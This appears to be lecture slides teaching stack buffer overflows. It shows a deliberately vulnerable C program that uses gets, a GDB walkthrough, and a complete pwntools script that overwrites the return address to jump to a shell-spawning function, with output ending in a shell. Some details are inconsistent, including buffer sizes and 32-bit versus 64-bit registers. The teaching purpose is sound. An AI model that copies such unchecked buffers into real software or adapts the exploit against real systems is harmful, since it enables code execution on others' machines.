INTRODUCTION

Buffer overflow is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations.

A buffer is an area of memory allocated by the programmer to hold user input, dynamically changing data, etc.

A lot of the times when accepting user input, these buffers are located locally, in the stack, instead of the heap (malloc). When a local stack buffer is overrun, a Stack Buffer Overflow occurs.
AN EXAMPLE

Take a look at this simple program, it seems fine at first.

- The user is prompted to enter their name
- The name is stored in a buffer,
- The name is printed back to the user

Source Code

```c
#include <stdio.h>

void hello()
{
    char buffer[16];
    printf("What is your first name?\n");
    gets(buffer);
    printf("Good morning %s!\n", buffer);
    return;
}

int main(int argc, char **argv){
    hello();
    return 0;
}
```
AN EXAMPLE

And it is indeed fine.
The program has correct behavior when used with the names “John” and “Mike”.

Output

```
$ ./hello
What is your first name?
John
Good morning John!
```

```
$ ./hello
What is your first name?
Mike
Good morning Mike!
```
AN EXAMPLE

However, recall the following line from the program’s source code:

```c
char buffer[16];
```

This will allocate a buffer of exactly 16 bytes for our input to be stored, including the ‘\0’ that gets added in end of strings in C.
So, then the question is, what if we enter a name longer than 16 bytes?

```bash
$ ./hello
What is your first name?
```

The program crashes with a segmentation fault.
In order to explain why the segmentation fault happened and what it is, we will have to first look at how C sets up and uses the stack.

With every function call (even main), the C compiler always does the following steps (in 32-bit):

1. push all the function’s arguments to the stack (argc, argv for main)
2. push the return address (where will the function return after it ends?)
3. push ebp (old stack base pointer)
4. call the function
The interesting part here is that the local variables (including our buffer that the input goes in) get placed after the saved ebp, return address and function arguments.

When the buffer is not big enough to hold our input and our input function doesn’t check the length, our input contents will overflow the buffer and start to overrun the saved ebp and return address, thus causing a **Buffer Overflow**.

Being able to control the return address of a function is a serious security flaw as it can alter the entire flow of the program.
Now that we know some stuff about the stack, let's take a look at our first example again, this time using GDB to investigate what happens on the stack.

We boot up GDB using the command **gdb ./example** and then run **list** to see the decompiled code:

```
#include <stdio.h>

void hello()
{
    char buffer[10];
    printf("What is your first name?\n");
    gets(buffer);
    printf("Good morning \%s\n", buffer);
}
```

We can then use the command **b 6** to set a breakpoint at line 6, and then **run** the program till that point.

```
pwndbg> b 6
Breakpoint 1 at 0x40114e: file hello.c, line 6.
pwndbg> run
Starting program: /home/fy/Desktop/457/bofs/hello
Breakpoint 1, hello () at hello.c:6
6   printf("What is your first name?\n");
```
Now you can investigate the current stack frame using the command `info frame`. This will give a couple of useful information such as:

- RIP (Instruction Pointer)
- RBP (Stack Frame Base Pointer)
- RSP (Stack Frame Pointer)
- Arguments
- Locals

We can also get a stack view using `stack` if we are using pwngdb:
However, let’s now try to run the program with the input that caused the segmentation fault. We break at line 6 and then we use `c` to let the program execute.

You can use the following in `gdb` to continue execution:

- `c` (continue, run without stopping unless breakpoint is hit)
- `n` (next instruction)
- `si` (step into function)

```
pic:15  c
Continuing.
What is your first name?
pic:15  Program received signal SIGSEGV, Segmentation fault.
0x00000000040118b in hello () at hello.c:12
12 }
```
We now use **info frame** again to see what has happened at the time of the segmentation fault.

![Stack level 0, frame at 0x7fffffffde40:]

The important detail here is **saved rip = 0x6e686f4a6e686f4a**. This tells us that the function tried to return so it popped the **return address** from the stack. However, that return address was 0x6e686f4a6e686f4a, in which it couldn’t find any actual instructions. By checking what 0x6e686f4a6e686f4a is in ASCII, we can see:

![Output]

Our input overran the buffer and filled the return address with JohnJohn. We succeeded in what we wanted.
Let's now consider the case where jumping to a given place in the code would actually be beneficial, such as this:

```c
void grant_access()
{
    puts("Welcome admin!\n");
    execve("/bin/sh", 0, 0);
    exit(0);
}
```

grant_access executes a shell, which if in a server, can give us a remote shell to the server that runs the process, which would be a pretty big security issue.

Recall from the previous slides that we can change the return value, thus we can return to any given address in the memory, if we know the address.
So our scenario to execute the shell would be:

1. Overflow the buffer with data
2. Overflow ebp till we reach the return address
3. Change the return address to point to the address of the grant_access function
4. Enjoy our new shell
“pwntools” is a Python library and framework that provides an API for easier input output with a process and allows rapid exploit development.

A couple of things that can be done with pwntools:

- Run a process
- Send bytes to a running process
- Get bytes from an input process’ output
- Connect to a remote process (netcat)
- Analyze ELF executables and LIBC
- Attach GDB to a process
- Build ROP chains (explained later)
Pwntools can automate a big part of the work that goes into exploit development. To start with, you can install pwntools using Python’s pip:

```
$ pip install pwn
```

Then, you can start your script. To start with, you can start your executable and save it to a variable as follows:

```python
from pwn import *
p = process('./hello')
```

Then you can interact with it using the `p` variable. For example, we can read its output and print it to the console by using

```python
print(p.recv())
```

Then by running it we get:

```
(fy@kali)-[~/Desktop/457/bofs]
$ python3 expl.py
[+] Starting local process './hello': pid 4511
b'What is your first name?
[+] Stopped process './hello' (pid 4511)
```
For our exploit, we stated that we would need to return to `grant_access`. In order to do that, we would need its address. Thankfully, pwntools can analyze ELF executables and give us any address we want, if of course the address is static. For that, we can use the following:

```python
elf = ELF('./hello')
grant_access_address = elf.symbols['grant_access']
print(hex(grant_access_address))
```

Which gives us the following result, stating that 0x80491c0 is the address of `grant_access`.
Now that we know the address of the function we want to return to, we need to send our payload with it to the program. For that, we have to run the program till it asks for input. Since we know that the program asks for our name, we can do the following:

```python
print(p.recvuntil('What is your first name?\n'))
# await our input
```

Which will print out the output till that line, then wait. We can then send our input using `p.sendline()`. For example, let's send John and see what happens:

```python
print(p.recvuntil('What is your first name?\n'))
p.sendline(b'John')
print(p.recv())
```

Which will yield:

```
b'What is your first name?\n'
[\*] Process './hello' stopped with exit code 0 (pid 4608)
b'Good morning John!\n'
```
We now have a way to send input, we know the function address, and we would like to send our payload. We know that we have to:

1. Overflow the buffer (16 bytes)
2. Overflow ebp (4 bytes)
3. Change the return address

However, this will not always be the case. GCC will a lot of times use padding in the stack, so it will almost never be exactly $16 + 4 = 20$ bytes till the return address (Read more here: Stack Allocation, why the extra space?). Thus, we need to manually find how many bytes to input till the executable segmentation faults.

For example in our case, we see that we need 28 bytes to cause a segmentation fault. Thus, we need 16 bytes for the buffer, 4 for ebp and 8 to pad the extra gcc space:
PWNTOOLS

We now have all we need:

1. Get grant_access's address
   ```python
   grant_access_address = elf.symbols['grant_access']
   ```

2. Read till input is required from the executable
   ```python
   p.recvuntil('What is your first name?\n')
   ```

3. Overflow the buffer
   ```python
   payload += 16 * 'a'
   ```

4. Overflow ebp
   ```python
   payload += 4 * 'b'
   ```

5. Overflow the padding
   ```python
   payload += 8 * 'c'
   ```

6. Overwrite the return address
   ```python
   payload += p32(grant_access_address)
   ```
So in conclusion, the final python script would look something like this:

```python
from pwn import *

p = process('./hello')

elf = ELF('./hello')
grant_access_address = elf.symbols['grant_access']

print(f'grant_access: {hex(grant_access_address)}')
print(p.recvuntil('What is your first name?\n'))

payload = b''
payload += b'a' * 16
payload += b'b' * 4
payload += b'c' * 8
payload += p32(grant_access_address)

p.sendline(payload)
p.interactive()
```
Running the exploit we get:

```bash
(fy@kali):~$ /Desktop/457/bofs
$ python3 expl.py
[+] Starting local process './hello': pid 4911
[*] '/home/fy/Desktop/457/bofs/hello'
Arch:  i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
grant_access: 0x80491c0
/home/fy/Desktop/457/bofs/expl.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwn tools.com/
  bytes
  p.recvuntil('What is your first name?\n')
b'What is your first name?\n'
[*] Switching to interactive mode
Good morning aaaaaaaaaaaaaabbcccccccc\xc0\x91\x04!
Welcome admin!
$ whoami
fy
$ pwd
/home/fy/Desktop/457/bofs
$  
```
USEFUL TOOLS

pwndbg

pwntools

IDA